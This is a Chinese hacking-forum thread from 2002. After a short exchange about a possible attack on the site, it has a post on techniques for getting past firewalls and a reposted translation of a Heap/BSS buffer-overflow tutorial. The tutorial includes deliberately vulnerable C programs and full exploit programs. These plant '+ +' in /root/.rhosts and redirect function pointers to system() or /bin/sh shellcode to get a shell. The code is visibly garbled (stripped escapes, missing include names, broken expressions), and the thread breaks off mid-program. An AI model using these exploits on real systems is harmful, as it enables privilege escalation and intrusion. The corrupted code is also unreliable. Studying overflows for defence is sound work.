20楼#
发布于:2002-07-09 13:08
从哪里看出受到攻击了?
|
|
|
21楼#
发布于:2002-07-09 13:30
从哪里看出受到攻击了? 登陆速度极慢,而且谁都登不上来。ip就6,7两天被封了,其余的时候应该正常。但比原来慢了好多,访问人数没变化。我推测是受到攻击了。 |
|
|
22楼#
发布于:2002-07-16 10:59
也不一定啊,那两天不是在换服务器吗?
|
|
|
23楼#
发布于:2002-07-19 17:38
突破防火墙的技巧
今天下载了一个最新的“天网防火墙个人版 2.0.3.102”看了看,原来天网是用C++ Builder写的,EXE文件就一个(还有几个驱动),也没有加壳,用VC编译器可以打开看到里面的资源。界面也一般,不象OICQ2000那样的花哨,所用的图标也不太好看,也许是因为开发者把精力都放到了功能的开发上。总的来说简单易用,一看就会,下面谈谈有防火墙环境下的攻击和检测。 一、防火墙基本原理 首先,我们需要了解一些基本的防火墙实现原理。防火墙目前主要分包过滤,和状态检测的包过滤,应用层代理防火墙。但是他们的基本实现都是类似的。 防火墙一般有两个以上的网络卡,一个连到外部(router),另一个是连到内部网络。当打开主机网络转发功能时,两个网卡间的网络通讯能直接通过。当有防火墙时,他好比插在网卡之间,对所有的网络通讯进行控制。 说到访问控制,这是防火墙的核心了:),防火墙主要通过一个访问控制表来判断的,他的形式一般是一连串的如下规则: 1 accept from+ 源地址,端口 to+ 目的地址,端口+ 采取的动作 2 deny ...........(deny就是拒绝。。) 3 nat ............(nat是地址转换。后面说) 防火墙在网络层(包括以下的炼路层)接受到网络数据包后,就从上面的规则连表一条一条地匹配,如果符合就执行预先安排的动作了!如丢弃包…… 但是,不同的防火墙,在判断攻击行为时,有实现上的差别。下面结合实现原理说说可能的攻击。 二、攻击防火墙 IP 欺骗攻击 这种攻击,主要是修改数据包的源,目的地址和端口,模仿一些合法的数据包来骗过防火墙的检测。如:外部攻击者,将他的数据报源地址改为内部网络地址,防火墙看到是合法地址就放行了。可是,如果防火墙能结合接口,地址来匹配,这种攻击就不能成功了。 DOS拒绝服务攻击 简单的包过滤防火墙不能跟踪TCP的状态,很容易受到拒绝服务攻击,一旦防火墙受到DOS攻击,他可能会忙于处理,而忘记了他自己的过滤功能。:)你就可以饶过了,不过这样攻击还很少的。 木马攻击 对于包过滤防火墙最有效的攻击就是木马了,一但你在内部网络安装了木马,防火墙基本上是无能为力的。 原因是:包过滤防火墙一般只过滤低端口(1-1024),而高端口他不可能过滤的(因为,一些服务要用到高端口,因此防火墙不能关闭高端口的),所以很多的木马都在高端口打开等待,如冰河,subseven等。 但是木马攻击的前提是必须先上传,运行木马,对于简单的包过滤防火墙来说,是容易做的。这里不写这个了。大概就是利用内部网络主机开放的服务漏洞。 早期的防火墙都是这种简单的包过滤型的,到现在已很少了,不过也有。现在的包过滤采用的是状态检测技术,下面谈谈状态检测的包过滤防火墙。 三、攻击状态检测的包过滤 状态检测技术最早是CheckPoint提出的,在国内的许多防火墙都声称实现了状态检测技术。可是很多是没有实现的。到底什么是状态检测?一句话,状态检测就是从TCP连接的建立到终止都跟踪检测的技术。 四、攻击代理 代理是运行在应用层的防火墙,他实质是启动两个连接,一个是客户到代理,另一个是代理到目的服务器。 实现上比较简单,和前面的一样也是根据规则过滤。由于运行在应用层速度比较慢。 攻击代理的方法很多。这里就以WinGate为例,简单说说了。 WinGate是目前应用非常广泛的一种Windows95/NT代理防火墙软件,内部用户可以通过一台安装有WinGate的主机访问外部网络,但是它也存在着几个安全脆弱点。 黑客经常利用这些安全漏洞获得WinGate的非授权Web、Socks和Telnet的访问,从而伪装成WinGate主机的身份对下一个攻击目标发动攻击。因此,这种攻击非常难于被跟踪和记录。 导致WinGate安全漏洞的原因大多数是管理员没有根据网络的实际情况对WinGate代理防火墙软件进行合理的设置,只是简单地从缺省设置安装完毕后就让软件运行,这就给攻击者可乘之机。 防止这种安全脆弱点的方法和防止非授权Socks访问的方法类似。在WinGate中简单地限制特定服务的捆绑就可以解决这个问题。一般来说,在多宿主(multihomed)系统管理员可以通过执行以下步骤来完成: 1、选择TelnetSever属性。 2、选择Bindings标签。 3、按下ConnectionsWillBeAcceptedOnTheFollowingInterfaceOnly按钮,并指定本WinGate服务器的内部接口。 五、后语 利用防火墙系统实现和设计上的安全漏洞,从而有针对性地发动攻击。这种攻击难度比较大,可是破坏性很大,希望大家有效地防范! 50万MP3免费下载,点击支持本站发展! 黑客之火 教材 ;) |
|
24楼#
发布于:2002-07-19 17:39
Heap/BSS 溢出机理分析
虽然基于Heap(堆)/BSS的溢出现在是相当普遍的,但并没有多少介绍它的资料。本文将帮你理解什么是Heap溢出,也介绍了几种常用的攻击方法,同时给出了一些可能的解决方案。阅读本文,您需要了解一些汇编,C语言以及堆栈溢出的基本知识。 一.为什么Heap/BSS溢出很重要? 堆栈溢出的问题已经广为人知,越来越多的作系统商家增加了不可执行堆栈的补丁,一些个人也提供了自己的补丁,象著名的Solar Designer提供的针对Linux的不可执行堆栈的kernel patch(目前已经推出了用于2.2.13内核的patch),也有一些人开发了一些编译器来防止堆栈溢出,象Crispin Cowan等开发的StackGuard等等。这些方法都一定程度上可以减少由堆栈溢出导致的安全问题,但是并却不能防止Heap/BSS的溢出。在大多数的作系统中,Heap和BSS段都是可写可执行的。这就使得Heap/BSS的溢出成为可能。 大部分的基于heap的溢出都是不依赖于系统和硬件结构的,这将在后面进一步介绍。 二.一些概念 一个可执行的文件(比如常见的ELF--Executable and Linking Format格式的可执行文件)通常包含多个段,比如:PLT(过程连接表),GOT(全局偏移表),init(包含在初始化时执行的指令),fini(包含程序终止时要执行的指令),以及ctors和dtors(包含一些全局构造指令和析构指令)所谓HEAP,就是由应用程序动态分配的内存区。在这里,\"由应用程序\"来分配是值得特别注意的,因为在一个好的作系统中,大部分的内存区实际上是在内核一级被动态分配的,而Heap段则是由应用程序来分配的。它在编译的时候被初始化。BSS段包含未被初始化的数据,在程序运行的时候才被分配。在被写入数据前,它始终保持全零(至少从应用程序的角度看是这样的) 在大部分的系统中,Heap段是向上增长的(向高址方向增长)。因此,当我们说\"X在Y的下面\"时,就是指\"X的地址低于Y的地址\"。 注意:下面提到的\"基于heap的溢出\"既包含HEAP段的溢出,也包含BSS段的溢出。 三.Heap/BSS溢出攻击 在这一部分中我们将介绍几种不同的利用Heap/BSS溢出的方法。大部分的例子都是针对x86 Unix系统的。做一些适当的改变,也可以用于DOS和Windows系统。我们也介绍了几种专门针对DOS/Windows的攻击方法。 注意: 在本文中,为了简单起见,我们使用了精确的偏移量。偏移量必须与实际的值相等,攻击程序才能工作。当然你也可以象通常的堆栈攻击方法那样,通过提供多个返回地址及插入空指令等方法以增加成功的机率。 下面的这个例子是给那些不熟悉Heap溢出的人看的,我会做一些简单的解释: ----------------------------------------------------------------------------- /* 演示在heap段(已初始化的数据)发生的动态缓冲区溢出 */ #include #include #include #include #define BUFSIZE 16 #define OVERSIZE 8 /* 我们将覆盖buf2的前OVERSIZE个字节 */ int main() { u_long diff; char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE); diff = (u_long)buf2 - (u_long)buf1; printf(\"buf1 = %p, buf2 = %p, diff = 0x%x (%d)bytes \", buf1, buf2, diff, diff); memset(buf2, ‘A‘, BUFSIZE-1), buf2[BUFSIZE-1] = ‘‘;/* 将buf2用‘A‘填充 */ printf(\"before overflow: buf2 = %s \", buf2); memset(buf1, ‘B‘, (u_int)(diff + OVERSIZE)); /* 用diff+OVERSIZE个‘B‘填充buf1 */ printf(\"after overflow: buf2 = %s \", buf2); return 0; } ----------------------------------------------------------------------------- 当我们运行它后,得到下面的结果: [warning3@testserver basic]$ ./heap1 8 buf1 = 0x8049858, buf2 = 0x8049870, diff = 0x18 (24)bytes before overflow: buf2 = AAAAAAAAAAAAAAA after overflow: buf2 = BBBBBBBBAAAAAAA 我们看到buf2的前8个字节被覆盖了。这是因为往buf1中填写的数据超出了它的边界进入了buf2的范围。由于buf2的数据仍然在有效的heap区内,程序仍然可以正常结束。另外我们可以注意到,虽然buf1和buf2是相继分配的,但他们并不是紧挨着的,而是有8个字节的间距,这个间距可能随不同的系统环境而不同。 buf1 间距 buf2 覆盖前:[xxxxxxxxxxxxxxxx][xxxxxxxx][AAAAAAAAAAAAAAA] 低址 -----------------------------------> 高址 覆盖后:[BBBBBBBBBBBBBBBB][BBBBBBBB][BBBBBBBBAAAAAAA] 注意: 一个阻止heap溢出的可能的方法就是在heap段的所有变量之间放一个\"canary\"值(就象StackGuard中所做的那样),若这个值在执行中被改变,就认为发生了溢出。 为了解释BSS段的溢出,我们来看下面这个例子: ----------------------------------------------------------------------------- /* 演示在BSS段(未被初始化的数据)的静态缓冲区溢出 */ #include #include #include #include #include #define ERROR -1 #define BUFSIZE 16 int main(int argc, char **argv) { u_long diff; int oversize; static char buf1[BUFSIZE], buf2[BUFSIZE]; if (argc <= 1) { fprintf(stderr, \"Usage: %s \", argv[0]); fprintf(stderr, \"[Will overflow static buffer by ] \"); exit(ERROR); } diff = (u_long)buf2 - (u_long)buf1; printf(\"buf1 = %p, buf2 = %p, diff = 0x%x (%d) bytes \", buf1, buf2, diff, diff); memset(buf2, ‘A‘, BUFSIZE - 1), memset(buf1, ‘B‘, BUFSIZE - 1); buf1[BUFSIZE - 1] = ‘‘, buf2[BUFSIZE - 1] = ‘‘; printf(\"before overflow: buf1 = %s, buf2 = %s \", buf1, buf2); oversize = diff + atoi(argv[1]); memset(buf1, ‘B‘, oversize); buf1[BUFSIZE - 1] = ‘‘, buf2[BUFSIZE - 1] = ‘‘; printf(\"after overflow: buf1 = %s, buf2 = %s \", buf1, buf2); return 0; } ----------------------------------------------------------------------------- 当我们运行它后,得到下面的结果: [warning3@testserver basic]$ ./heap2 8 buf1 = 0x8049874, buf2 = 0x8049884, diff = 0x10 (16) bytes before overflow: buf1 = BBBBBBBBBBBBBBB, buf2 = AAAAAAAAAAAAAAA after overflow: buf1 = BBBBBBBBBBBBBBB, buf2 = BBBBBBBBAAAAAAA 和heap溢出类似,buf2的前8个字节也被覆盖了。我们也可以注意到,buf1和buf2是紧挨着的,这意味着我们可以不用猜测buf1和buf2之间的间距. buf1 buf2 覆盖前:[BBBBBBBBBBBBBBBB][AAAAAAAAAAAAAAA] 低址 ----------------------> 高址 覆盖后:[BBBBBBBBBBBBBBBB][BBBBBBBBAAAAAAA] 从上面两个简单的例子,我们可以应该已经了解Heap/BSS溢出的基本方式了。我们能用它来覆盖一个文件名,口令或者是保存的uid等等... 下面这个例子演示了一个指针是如何被覆盖的: ----------------------------------------------------------------------------- /* 演示在BSS段(未被初始化的数据)中的静态指针溢出 */ #include #include #include #include #include #define BUFSIZE 16 #define ADDRLEN 4 /* 指针地址的长度 */ int main() { u_long diff; static char buf[BUFSIZE], *bufptr; bufptr = buf, diff = (u_long)&bufptr - (u_long)buf; printf(\"bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes \", &bufptr, bufptr, buf, diff, diff); memset(buf, ‘A‘, (u_int)(diff + ADDRLEN));/* 将diff+ADDRLEN字节的‘A‘填充到buf中 */ printf(\"bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes \", &bufptr, bufptr, buf, diff, diff); return 0; } ----------------------------------------------------------------------------- 当我们运行它后,得到下面的结果: [warning3@testserver basic]$ ./heap3 bufptr (0x8049640) = 0x8049630, buf = 0x8049630, diff = 0x10 (16) bytes bufptr (0x8049640) = 0x41414141, buf = 0x8049630, diff = 0x10 (16) bytes buf bufptr 覆盖前:[xxxxxxxxxxxxxxxx][0x08049630] 低址 ------------------> 高址 覆盖后:[AAAAAAAAAAAAAAAA][0x41414141] [AAAA] 我们可以很清楚的看到,现在指针bufptr现在指向一个不同的地址(0x41414141). 如何利用这一点呢?例如我们可以重写一个临时文件名的指针,使其指向一个不同的字符串(比如 argv[1]或是由我们提供的某个环境变量),它可以包含\"/root/.rhosts\"或\"/etc/passwd\".... 为了说明这一点,我们再来看一个例子。这个程序会用一个临时文件来储存用户输入的数据。 ----------------------------------------------------------------------------- /* * 这是一个很典型的有弱点的程序。它将用户的深入储存在一个临时文件中。 * * * 编译方法: gcc -o vulprog1 vulprog1.c */ #include #include #include #include #include #define ERROR -1 #define BUFSIZE 16 /* * 将攻击程序以root身份运行或者改变攻击程序中\"vulfile\"的值。 * 否则,即使攻击程序成功,它也不会有权限修改/root/.rhosts(缺省的例子) * */ int main(int argc, char **argv) { FILE *tmpfd; static char buf[BUFSIZE], *tmpfile; if (argc <= 1) { fprintf(stderr, \"Usage: %s \", argv[0]); exit(ERROR); } tmpfile = \"/tmp/vulprog.tmp\"; /* 这里暂时不考虑链接问题 */ printf(\"before: tmpfile = %s \", tmpfile); printf(\"Enter one line of data to put in %s: \", tmpfile); gets(buf); /* 导致buf溢出 */ printf(\" after: tmpfile = %s \", tmpfile); tmpfd = fopen(tmpfile, \"w\"); if (tmpfd == NULL) { fprintf(stderr, \"error opening %s: %s \", tmpfile, strerror(errno)); exit(ERROR); } fputs(buf, tmpfd); /* 将buf提供的数据存入临时文件 */ fclose(tmpfd); } ----------------------------------------------------------------------------- 这个例子中的情形在编程时是很容易发生的,很多人以为用静态数组和静态指针就会比较安全,看了下面的攻击程序,我想你就不会这么想了.:-) ----------------------------------------------------------------------------- /* * Copyright (C) January 1999, Matt Conover & WSD * * 这个程序将用来攻击vulprog1.c.它传输参数给有弱点的程序。有弱点的程序 * 以为将我们输入的一行数据储存到了一个临时文件里。然而,因为发生了静态 * 缓冲区溢出的缘故,我们可以修改这个临时文件的指针,让它指向argv[1](我们 * 将传递\"/root/.rhosts\"给它)。然后程序就会将我们提供的输入数据存在\"/root * /.rhosts\"中。所以我们用来覆盖缓冲区的字符串将会是下面的格式: * [+ + # ][(tmpfile地址) - (buf 地址)个字符‘A‘][argv[1]的地址] * * \"+ +\"后面跟着‘#‘号是为了防止我们的溢出代码出问题。没有‘#‘(注释符),使用 * .rhosts的程序就会错误解释我们的溢出代码。 * * 编译方法: gcc -o exploit1 exploit1.c */ #include #include #include #include #define BUFSIZE 256 #define DIFF 16 /* vulprog中buf和tmpfile之间的间距 */ #define VULPROG \"./vulprog1\" #define VULFILE \"/root/.rhosts\" /* buf 中的内容将被储存在这个文件中 */ /* 得到当前堆栈的esp,用来计算argv[1]的地址 */ u_long getesp() { __asm__(\"movl %esp,%eax\"); /* equiv. of ‘return esp;‘ in C */ } int main(int argc, char **argv) { u_long addr; register int i; int mainbufsize; char *mainbuf, buf[DIFF+6+1] = \"+ + # \"; /* ------------------------------------------------------ */ if (argc <= 1) { fprintf(stderr, \"Usage: %s [try 310-330] \", argv[0]); exit(ERROR); } /* ------------------------------------------------------ */ memset(buf, 0, sizeof(buf)), strcpy(buf, \"+ + # \"); /* 将攻击代码填入buf */ memset(buf + strlen(buf), ‘A‘, DIFF); /* 用‘A‘填满剩余的buf空间 */ addr = getesp() + atoi(argv[1]); /* 计算argv[1]的地址 */ /* 将地址反序排列(在小endian系统中)后存入buf+DIFF处 */ for (i = 0; i < sizeof(u_long); i++) buf[DIFF + i] = ((u_long)addr >> (i * & 255); /* 计算mainbuf的长度 */ mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULFILE) + 13; mainbuf = (char *)malloc(mainbufsize); memset(mainbuf, 0, sizeof(mainbuf)); snprintf(mainbuf, mainbufsize - 1, \"echo ‘%s‘ | %s %s \", buf, VULPROG, VULFILE); printf(\"Overflowing tmpaddr to point to %p, check %s after. \", addr, VULFILE); system(mainbuf); return 0; } ----------------------------------------------------------------------------- [root@testserver vulpkg1]# ./exploit1 349 Overflowing tmpaddr to point to 0xbffffe6d, check /root/.rhosts after. before: tmpfile = /tmp/vulprog.tmp Enter one line of data to put in /tmp/vulprog.tmp: after: tmpfile = /vulprog1 我们看到现在tmpfile指向argv[0](\"./vulprog1\"), 我们增加10个字节(argv[0]的长度): [root@testserver vulpkg1]# ./exploit1 359 Overflowing tmpaddr to point to 0xbffffe77, check /root/.rhosts after. before: tmpfile = /tmp/vulprog.tmp Enter one line of data to put in /tmp/vulprog.tmp: after: tmpfile = /root/.rhosts [root@testserver vulpkg1]# cat /root/.rhosts + + # AAAAAAAAAAw?苛A buf tmpfile 覆盖后:[+ + # AAAAAAAAAA][0x123445678] 我们已经成功的将\"+ +\"添加到了/root/.rhosts中!攻击程序覆盖了vulprog用来接受gets()输入的静态缓冲区,并将猜测的argv[1]的地址覆盖tmpfile.我们可以在mainbuf中放置任意长度的‘A‘直到发现多少个‘A‘才能到达tmpfile的地址。如果你有弱点程序源码的话,可以增加\"printf()\"来显示出被覆盖的数据与目标数据之间的距离(比如:‘printf(\"%p - %p = 0x%lx bytes \", buf2, buf1, (u_long)diff)‘).但通常这个偏移量在编译的时候会发生改变,但我们可以很容易的重新计算/猜测甚至\"暴力\"猜测这个偏移量. 注意: 我们需要一个有效的地址(argv[1]的地址),我们必须将字节顺序反向(在little endian系统中).Little endian系统通常是低字节在前(x86就是little endian系统).因此0x12345678在内存中就是按0x78563412的顺序存放。如果我们是在big endian系统中做这些(比如sparc),我们就不必做反序的处理了。迄今为止,这些例子中没有一个要求可执行的heap!这些例子都是不依赖系统和硬件结构的(除了字节反序的部分)。这在攻击heap溢出时是非常有用的。知道了怎么重写一个指针,我们接下来看看如何修改一个函数指针。与上面的例子不同的是,修改函数指针的攻击要求有一个可以执行的Heap函数指针(比如 \"int (*funcptr)(char *str)\")允许程序员动态修改要被调用的函数。我们可以重写函数指针的地址,使其被执行的时候转去调用我们指定的函数(代码)。为了达到这个目的,我们有多种选择。 首先,我们可以使用自己的shellcode,我们可以用两种方法来使用我们的shellcode: 1. argv[]方法 : 将shellcode储存在一个程序参数中(这要求一个可执行的堆栈) 2. heap偏移方法:将shellcode储存在从heap的顶端到被覆盖的指针之间的区域中 (这要求可执行的heap) 注意: heap可执行的可能性比堆栈可执行的可能性要大得多。因此,利用heap的方法可能更 常用一些。 另外的一种方法是简单地猜测一个函数(比如system())的地址。如果我们知道攻击程序中system()的地址,那么被攻击的程序中system()的地址应该与其相差不员,假设两个程序在同样的情况下编译的话。这种方法的好处在于它不需要一个可执行的heap。(另外一种方法是使用PLT(过程链接表),这里就不再详述了,有兴趣的可以看stranJer做的绕过不可执行堆栈的攻击) 第二种方法的优点就是简单。我们可以很快得从攻击程序的system()的地址猜出有弱点程序的system()地址。而且在远程系统中也是相同的(如果版本,作系统和硬件结构都一样的话)。第一种方法的优点在于我们可以利用自己的shellcode来做任意的事,而且并不需要考虑函数指针的兼容问题,比如不管是char (*funcptr)(int a)还是void (*funcptr)(),都可以顺利工作(第一种方法就必须考虑这些)。它的缺点就是必须要有可执行的heap/stack. 下面我们再来看一个有弱点的程序: ----------------------------------------------------------------------------- /* * Just the vulnerable program we will exploit. * Compile as: gcc -o vulprog vulprog.c (or change exploit macros) */ #include #include #include #include #define ERROR -1 #define BUFSIZE 64 int goodfunc(const char *str); /* 正常情况下要被funcptr指向的函数 */ int main(int argc, char **argv) { static char buf[BUFSIZE]; static int (*funcptr)(const char *str);/* 这个就是我们将要重写的函数指针 */ if (argc <= 2) { fprintf(stderr, \"Usage: %s \", argv[0]); exit(ERROR); } printf(\"(for 1st exploit) system() = %p \", system); printf(\"(for 2nd exploit, stack method) argv[2] = %p \", argv[2]); printf(\"(for 2nd exploit, heap offset method) buf = %p \", buf); funcptr = (int (*)(const char *str))goodfunc; printf(\"before overflow: funcptr points to %p \", funcptr); memset(buf, 0, sizeof(buf)); /* 溢出有可能在这里发生,这也是很常见的一种错误的使用strncpy的例子 */ strncpy(buf, argv[1], strlen(argv[1])); printf(\"after overflow: funcptr points to %p \", funcptr); (void)(*funcptr)(argv[2]); /* 正常情况下将调用goodfunc,参数为argv[2] */ return 0; } /* ---------------------------------------------- */ /* This is what funcptr would point to if we didn‘t overflow it */ int goodfunc(const char *str) { printf(\" Hi, I‘m a good function. I was passed: %s \", str); return 0; } ----------------------------------------------------------------------------- 我们来看看第一个攻击的例子,这里采用的是使用system()的方法: ----------------------------------------------------------------------------- /* * Copyright (C) January 1999, Matt Conover & WSD * * 演示在bss段(未被初始化的数据)中覆盖静态函数指针的方法。 * * Try in the offset (argv[2]) in the range of 0-20 (10-16 is best) * To compile use: gcc -o exploit1 exploit1.c */ #include #include #include #include /* 假设funcptr与buf之间的距离(对于BSS区来说,这个值应该就是buf的大小 */ #define BUFSIZE 64 #define VULPROG \"./vulprog\" /* 有弱点程序的位置 */ #define CMD \"/bin/sh\" /* 定义如果攻击成功后要执行的命令 */ #define ERROR -1 int main(int argc, char **argv) { register int i; u_long sysaddr; static char buf[BUFSIZE + sizeof(u_long) + 1] = {0}; if (argc <= 1) { fprintf(stderr, \"Usage: %s \", argv[0]); fprintf(stderr, \"[offset = estimated system() offset] \"); exit(ERROR); } sysaddr = (u_long)&system - atoi(argv[1]); /* 计算system()的地址 */ printf(\"trying system() at 0x%lx \", sysaddr); memset(buf, ‘A‘, BUFSIZE); /* 在little endian系统中,需要将字节反序排列 */ for (i = 0; i < sizeof(sysaddr); i++) buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255; execl(VULPROG, VULPROG, buf, CMD, NULL); return 0; } ----------------------------------------------------------------------------- 当我们运行它后,得到下面的结果: [warning3@testserver vulpkg2]$ ./exploit2 12 Trying system() at 0x80483fc system()‘s address = 0x80483fc before overflow: funcptr points to 0x80485fc after overflow: funcptr points to 0x80483fc bash$ 接下来的例子中我们用了stack和heap的方法: ----------------------------------------------------------------------------- /* * Copyright (C) January 1999, Matt Conover & WSD * * 这演示了如何重写一个静态函数指针使其指向我们提供的shellcode. * 这种方法要求可执行的stack或heap * * 这个程序中有两个参数:offset和heap/stack. 对于stack方法来说, * offset为堆栈顶端到(有弱点程序的)argv[2]的距离. * 对于heap方法来说,offset为heap的顶端到被覆盖的(或指定的)buffer之间的 * 距离。 * * Try values somewhere between 325-345 for argv[] method, and 420-450 * for heap. * * To compile use: gcc -o exploit2 exploit2.c */ #include #include #include #include #define ERROR -1 #define BUFSIZE 64 /* estimated diff between buf/funcptr */ #define VULPROG \"./vulprog\" /* where the vulprog is */ char shellcode[] = /* just aleph1‘s old shellcode (linux x86) */ \"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0\" \"x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8\" \"x40xcdx80xe8xdcxffxffxff/bin/sh\"; u_long getesp() { __asm__(\"movl %esp,%eax\"); /* 得到当前堆栈顶端的值 */ } int main(int argc, char **argv) { register int i; u_long sysaddr; char buf[BUFSIZE + sizeof(u_long) + 1]; if (argc <= 2) { fprintf(stderr, \"Usage: %s \", argv[0]); exit(ERROR); } if (strncmp(argv[2], \"stack\", 5) == 0) /* 使用堆栈的方法 */ { printf(\"Using stack for shellcode (requires exec. stack) \"); sysaddr = getesp() + atoi(argv[1]); /* 计算argv[2]的地址 */ printf(\"Using 0x%lx as our argv[1] address \", sysaddr); memset(buf, ‘A‘, BUFSIZE + sizeof(u_long)); } else /* 使用heap的方法 */ { printf(\"Using heap buffer for shellcode \" \"(requires exec. heap) \"); /* 计算目标buffer的地址(sbrk(0)用来得到heap的顶端地址) */ sysaddr = (u_long)sbrk(0) - atoi(argv[1]); printf(\"Using 0x%lx as our buffer‘s address \", sysaddr); /* 计算是否buf与funcptr之间的距离不足以放下我们的shellcode */ /* 如果这段距离比较小的话,其实可以采用另外的方法来填充: */ /* buf funcptr sysaddr /* [sysaddr|sysaddr|...][sysaddr][shellcode] */ if (BUFSIZE + 4 + 1 < strlen(shellcode)) { fprintf(stderr, \"error: buffer is too small for shellcode \" \"(min. = %d bytes) \", strlen(shellcode)); exit(ERROR); } strcpy(buf, shellcode); memset(buf + strlen(shellcode), ‘A‘, BUFSIZE - strlen(shellcode) + sizeof(u_long)); } buf[BUFSIZE + sizeof(u_long)] = ‘‘; /* reverse byte order (on a little endian system) (ntohl equiv) */ for (i = 0; i < sizeof(sysaddr); i++) buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255; execl(VULPROG, VULPROG, buf, shellcode, NULL); return 0; } ----------------------------------------------------------------------------- 先来看看用堆栈的方法: [warning3@testserver vulpkg3]$ ./exploit3 319 stack Using stack for shellcode (requires exec. stack) Using 0xbffffdf7 as our argv[1] address argv[1] = 0xbffffdf7 buf = 0x8049820 before: funcptr = 0x8048500 after: funcptr = 0xbffffdf7 bash$ buf funcptr 堆栈区 覆盖前:[xxxxxx...xxxxxxx][0x08048500] 低址 ------------------> 高址 覆盖后:[AAAAAA...AAAAAAA][0xbffffdf7] [shellcode] | ^ |___________| 下面是用heap的方法: [warning3@testserver vulpkg3]$ ./exploit3 836 heap Using heap buffer for shellcode (requires exec. heap) Using 0x8049820 as our buffer‘s address argv[1] = 0xbffffdf7 buf = 0x8049820 before: funcptr = 0x8048500 after: funcptr = 0x8049820 bash$ buf funcptr 覆盖前:[xxxxxxxxxxxxxxxx][0x08048500] 低址 ------------------> 高址 覆盖后:[shellcodeAAA...A][0x8049820] ^ |_0x8049820 从上面的例子可以看出,对于同一种问题,可以有几种不同的攻击手法.这里我们另外再介绍一种类型的攻击.它利用了setjmp和longjmp函数.这两个函数通常用来在一些低阶函数中处理一些错误和中断.setjmp(jmpbuf)用来保存当前的堆栈栈帧到jmpbuf中,longjmp(jmpbuf,val)将从jmpbuf中恢复堆栈栈帧,longjmp执行完后,程序继续从setjmp()的下一条语句处执行,并将val作为setjmp()的返回值.jmpbuf中保存有寄存器bx,si,di,bp,sp,pc,如果我们能在longjmp执行以前覆盖掉jmpbuf,我们就能重写寄存器pc.因此当longjmp恢复保存的堆栈栈帧后,程序就可能跳到我们指定的地方去执行.至于跳转地址,可以是堆栈中,也可以是heap中.现在我们以x86系统为例来具体解释一下.(下面的代码在Redhat 6.0 ,2.2.5下编译通过.对于其他的系统,请参考setjmp.h来修改相应的代码) 首先我们来看一个有弱点的程序: ----------------------------------------------------------------------------- /* * This is just a basic vulnerable program to demonstrate * how to overwrite/modify jmp_buf‘s to modify the course of * execution. */ #include #include #include #include #include #define ERROR -1 #define BUFSIZE 16 static char buf[BUFSIZE]; jmp_buf jmpbuf; /* jmpbuf是我们想要覆盖的 */ u_long getesp() { __asm__(\"movl %esp,%eax\"); /* 得到当前堆栈指针 */ } int main(int argc, char **argv) { u_long diff; if (argc <= 1) { fprintf(stderr, \"Usage: %s \"); exit(ERROR); } diff=(u_long)jmpbuf-(u_long)buf; printf(\"diff=%d \",diff); printf(\"[vulprog] argv[2] = %p \", argv[2]); printf(\"[vulprog] sp = 0x%lx \", getesp()); if (setjmp(jmpbuf)) /* 如果大于0,那么longjmp()应该已经执行完毕了.直接执行setjmp应该返回1 */ { fprintf(stderr, \"error: exploit didn‘t work \"); exit(ERROR); } /* 我们打印出覆盖前后jmpbuf中保存的寄存器的值 */ printf(\"before: \"); printf(\"bx = 0x%lx, si = 0x%lx, di = 0x%lx \", jmpbuf->__jmpbuf[JB_BX], jmpbuf->__jmpbuf[JB_SI], jmpbuf->__jmpbuf[JB_DI]); printf(\"bp = %p, sp = %p, pc = %p \", jmpbuf->__jmpbuf[JB_BP], jmpbuf->__jmpbuf[JB_SP], jmpbuf->__jmpbuf[JB_PC]); strncpy(buf, argv[1], strlen(argv[1])); /* 这里可能导致jmpbuf被覆盖 */ printf(\"after: \"); printf(\"bx = 0x%lx, si = 0x%lx, di = 0x%lx \", jmpbuf->__jmpbuf[JB_BX], jmpbuf->__jmpbuf[JB_SI], jmpbuf->__jmpbuf[JB_DI]); printf(\"bp = %p, sp = %p, pc = %p \", jmpbuf->__jmpbuf[JB_BP], jmpbuf->__jmpbuf[JB_SP], jmpbuf->__jmpbuf[JB_PC]); longjmp(jmpbuf, 1); return 0; } ----------------------------------------------------------------------------- 在上面的程序中我们打印出寄存器的值,是为了看得更清楚一些,猜测起来也更容易.:-) 下面我们给出攻击程序.它利用argv[]储存代码,程序需要跳到env处执行,需要可执行堆栈. /* * Copyright (C) January 1999, Matt Conover & w00w00 Security Development * * 这个程序用来演示通过覆盖jmpbuf(setjmp/longjmp)来在heap中模拟堆栈溢出的方法 * 我们将覆盖jmpbuf中保存的sp/pc寄存器值.当longjmp()被调用的时候,它将从这个地 * 址开始执行下一条指令.所以,如果我们能将代码存储在这个地址,那它就将被执行 * * This takes two arguments (offsets): * arg 1 - stack offset (should be about 25-45). * arg 2 - argv offset (should be about 310-330). */ #include #include #include #include #define ERROR -1 #define BUFSIZE 36 #define VULPROG \"./vulprog4\" char shellcode[] = /* just aleph1‘s old shellcode (linux x86) */ \"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0\" \"x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8\" \"x40xcdx80xe8xdcxffxffxff/bin/sh\"; u_long getesp() { __asm__(\"movl %esp,%eax\"); /* the return value goes in %eax */ } int main(int argc, char **argv) { int stackaddr, argvaddr; register int index, i, j; char buf[BUFSIZE + 24 + 1]; if (argc <= 1) { fprintf(stderr, \"Usage: %s \", argv[0]); fprintf(stderr, \"[stack offset = offset to stack of vulprog \"); fprintf(stderr, \"[argv offset = offset to argv[2]] \"); exit(ERROR); } stackaddr = getesp() - atoi(argv[1]); argvaddr = getesp() + atoi(argv[2]); printf(\"trying address 0x%lx for argv[2] \", argvaddr); printf(\"trying address 0x%lx for sp \", stackaddr); /* * The second memset() is needed, because otherwise some values * will be (null) and the longjmp() won‘t do our shellcode. */ memset(buf, ‘A‘, BUFSIZE), memset(buf + BUFSIZE, 0x1, 12); buf[BUFSIZE+24] = ‘‘; /* ------------------------------------- */ /* * 当设置pc指向我们的shellcode地址时,我们会覆盖jmpbuf中的ebp/esp, * 所以,我们将用正确的值重写它们. */ for (i = 0; i < sizeof(u_long); i++) /* setup BP */ { index = 